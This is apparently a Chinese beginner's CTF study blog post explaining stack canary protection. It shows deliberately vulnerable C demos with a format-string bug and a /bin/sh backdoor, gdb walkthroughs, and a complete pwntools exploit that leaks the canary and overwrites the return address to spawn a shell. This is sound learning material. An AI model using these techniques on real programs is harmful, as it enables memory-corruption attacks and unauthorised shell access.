[CTF-PWN学习]初识Canary保护 & 简单bypass利用

释放双眼,带上耳机,听听看~!
本文以初学者的视角,详细探讨了Canary保护的原理与实现。并给出了基本的bypass思路。

最近新学了pwn,学习的过程感觉挺艰辛的。所以写一下学习笔记,希望能帮助和我一样的初学者。如有纰漏和错误欢迎各位大佬赐教,不胜感激。

1 bin文件保护方法 & 对应策略

二进制文件为了防止被调试,有多种保护方法。 对应的,我们也有多种bypass策略。

  • Canary(栈保护) ==> Canary泄露

Canary是函数(程序)刚运行的时候,函数从fs/gs寄存器取出一个生成的“标志”(放到eax/rax)种,并会入栈。当程序运行完后,会校验该值是否发生改变。

方法:泄露Canary的值 & 从检验函数__stack_chk_fail入手

  • NX/DEP(堆栈不可执行)==> ROP
  • PID/ALSR(地址随机化) ==>堆喷射
  • RelRO(read only relocation)

接下来主要探讨第一种情况——栈保护(Canary)的实现及绕过。

2 什么是Canary保护

如上所述,开启Canary保护前后,栈帧的结构如下:

图1 开启Canary前后栈帧的变化

程序/函数运行结束后,会取Canary的值校验其是否发生了改变。

编译程序时,禁用/开启Canary保护的方法如下:

gcc -fstack-protector-all 所有函数均被加上Canary保护
    -fstack-protector 定义/使用了数组结构的函数才会被加上Canary保护
    -fno-stack-protector 禁用Canary保护

3 实验:原理分析 & bypass手段

3.1 Canary保护原理

回到正题,本次实验使用的demo1如下:

#include
int main()
{
  char str[0x20];
  read(0,str,0x50);
  printf("Hello this is %s");
  return 0;
}

我们先禁用Canary保护,编译生成程序:

拖入gdb,看一下main函数的反汇编情况:

未开启Canary时,main函数反汇编结果。

作为对比,下面开启Canary保护:

然后扔进gdb里看看,发现多了些东西:

正如前文所述,gs:0x14传给eax的内容就是Canary的值。

开启Canary保护后

可以在mov [ebp-0xc],eax处下断点调试,看到此时eax里已经存入了Canary的值。

继续来跟进汇编代码,之后要执行的指令是:把eax(Canary的值)存到[ebp-0xc]中。

输入n让该指令执行,然后stack 0x28来看下目前栈的结构。可以看到已经Canary的值已经被压栈:

回到程序段,发现在程序的最后部分对Canary进行了检验:

那么到此为止,可以理一下基本逻辑:

取出[ebp-0xc]的值到edx,与之前压入的Canary的值(gs:0x14)进行比较。若不一致,则call异常处理函数__stack_chk_fail

从上面看出,我们想要pass这个校验。关键就是使[ebp-0xc]保存的内容和gs:0x14的内容一致。

3.2 前置知识:格式化字符串漏洞

3.2.1 printf的小问题

分析完了Canary的原理,回到demo本身,有没有发现异样的地方?

#include
int main()
{
  char str[0x20];
  read(0,str,0x50);
  printf("Hello this is %s"); //!
  return 0;
}

printf函数中的%s并没有指定任何参量,这样能输出吗?答案是可以:

下面通过gdb来分析一下原因。

根据main函数的反汇编结果,以下这4条指令是来调用printf:开辟空间,压参数,call

0x080484c7下断点,然后r运行,随便输入:

跳到了我们下断点的地方:

用n命令步进到call调用printf之前:

来看一下此时栈结构:

可以看到,若不指定参量,%s的参量来源就是此时esp+4的内容。

那很自然就可以想到,可以不可以用printf来打印esp+4,esp+8,esp+16的内容?

这个例子恐怕不太行,因为已经给了格式%s,只会打印取后续4字节作为字符串输出。

但当printf使用不当——比如格式话字符串完全可控情况下——就可以实现泄露。

3.2.2 printf的大问题——格式化字符串漏洞(Fmtstr)

来看第二个demo:

#include
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

与demo1相比。这回printf(str)里的str是完全可控的。这就给了我们可乘之机:

首先开启Canary保护编译该程序:

gdb下断点到printf执行前,按r运行程序,可以看到栈顶是我们输入的字符:

同demo1类似,也可以看到Canary的值被存到了esp-0xc中:

p $ebp-0xc找一下地址,然后stack查看栈空间:

可以看到Canary的值:与栈顶偏移量为15

怎么在程序运行的时候泄露Canary呢?就要通过printf来实现了。

正式学习一下fmstr。

在C中,printf的函数原型如下:

int printf (“格式化字符串(format)”,参量… )

printf内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束。

但其中参量可以为空。当参量为空时,会用其后内存中(栈内)的数据匹配格式化字符串,直到匹配结束。

这也就解释了demo1的情况:

printf("Hello this is %s");   %s ---- 把esp+4的数据以字符串(%s)输出

基于这个原因,就可以构造恶意的格式化字符串,从而泄露内存(栈内)情况。这种漏洞就叫做格式化字符串漏洞

泄露常用的方式:

%x 输出16进制数,前面没有0x
%p 输出16进制数,前面带有0x
%08x 输出16进制数,前面没有0x,取前8位

以demo2为例,我们输入nihao.%08x.%08x.%08x,成功泄露了当前栈的内容:

同样的道理,我们可以输入15个%08x泄露Canary的内容。

除此之外还可以用%15$08x的形式,他代表以%08x的形式输出第15个参量的内容。

对于没有参量的情况,那就是:

这就是泄露Canary保护的的常规思路:通过各种方法(如:格式化字符串漏洞)直接将栈上canary打印出来,然后再进行ROP覆盖即可。

3.3 结合Fmtstr利用实现突破Canary

这是pwn题中突破Canary最简单的思路。

对于demo2,我们pwn的思路如下:

1.首先借用第一个read和printtf泄露出Canary的值

2.利用第二个read进行覆盖:padding——canary——函数返回值。

看一下第二个read执行后我们栈的情况,可以看到输入的字符会被存到0xffffd62c:

确认一下这里可以溢出:

写入canary后,可以发现距离ret还有一定距离。

再写入3*8个字节,就可以覆盖到ret之前(顺带也抬走了ebp):

给出exp如下:

from pwn import *

elf = ELF("./02")
p = process("./02")
#获取exploit函数的地址
shell_addr = elf.symbols["exploit"]
#泄露canary的payload
payload = "%15$08x"
#P1:接受回显,并取出canary的值
p.sendline(payload)
ret = p.recv()
#去掉换行符
canary = ret[:8]
print "canary is"+canary

#P2:利用第二个read进行ROP
offset_canary = 0xffffd64c - 0xffffd62c
payload = 'a' * offset_canary #将栈覆盖到canary之前
payload += (canary.decode("hex"))[::-1] #写入canary
payload += 'b' * (2*4+4) #padding空+ebp
payload += p32(shell_addr) #用后门函数覆盖ret

p.sendline(payload)
p.interactive()

运行一下,成功执行了exploit函数,从而getshell:

这就是最简单的情况。除此之外的思路还有:

爆破Canary
溢出__stack_chk_fail的参数实现任意地址读 
修改__stack_chk_fail的GOT表。覆盖Canary,触发__stack_chk_fail从而返回目标地址

自己tcl还没学到,以后遇到题目再总结吧。

4 总结&补充

4.1 总结

bin文件保护有哪些?

什么是Canary保护?

Canary保护是如何实现的:如何看栈中的位置&校验过程

什么是格式化字符串漏洞?

如何利用该漏洞打印泄露的Canary?

怎么利用格式化字符串漏洞+ROP绕过Canary保护?

如何编写该类exp?

4.2 补充:内存对齐

这是在调试Canary保护的时候无意发现的,也解决了之前一直存在的一个疑惑。

首先用gdb调试程序,然后反汇编main函数:disass main。

发现和之前调试过的不太一样。在push ebp之前多了三条:

这三步起到的作用就是内存对齐。为什么需要内存对齐?

尽管内存空间是以字节为单位的,但是大多数的处理器并不是一次取一个字节这样对数据进行处理,而是取多个字节:双字节,4字节,16字节,32字节。

对于下面这种存储情况,假设用4字节存取粒度的CPU来读int b,就会出现:

偷张图:

原本一次可以带出的int类型数据,只因为开头多存了一个char类型数据,导致要读两次4字节,还需要利用寄存器做后续的合并才可以取出。大大降低了系统性能。

这就是内存对齐要解决的:

在存入char a的时候,同样也“补齐”至4字节。这样无论是取char a还是取int b都可以一次完成,提升了处理性能。对于一些数据结构(尤其是栈),内存对齐已经成为了硬性需求。

回到那三条指令,and esp 0xfffffff0h就是在做对齐这一步:

而第一、三条指令则是工具人,借ecx保证对齐前后esp的值不受影响,维护了栈帧结构,让程序可以正常运行:

顺带补充一下gdb的一些常见用法:

b 下断点
disass 函数名 反汇编
p $ebp 查看寄存器内容
stack 0x28 查看栈结构
网络安全质量好文

【隱私】如何在互聯網上保護自己的隱私?

2020-6-5 21:44:20

网络安全

通过 Rundll32 运行 C# DLL 转储内存

2020-6-13 20:09:39

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索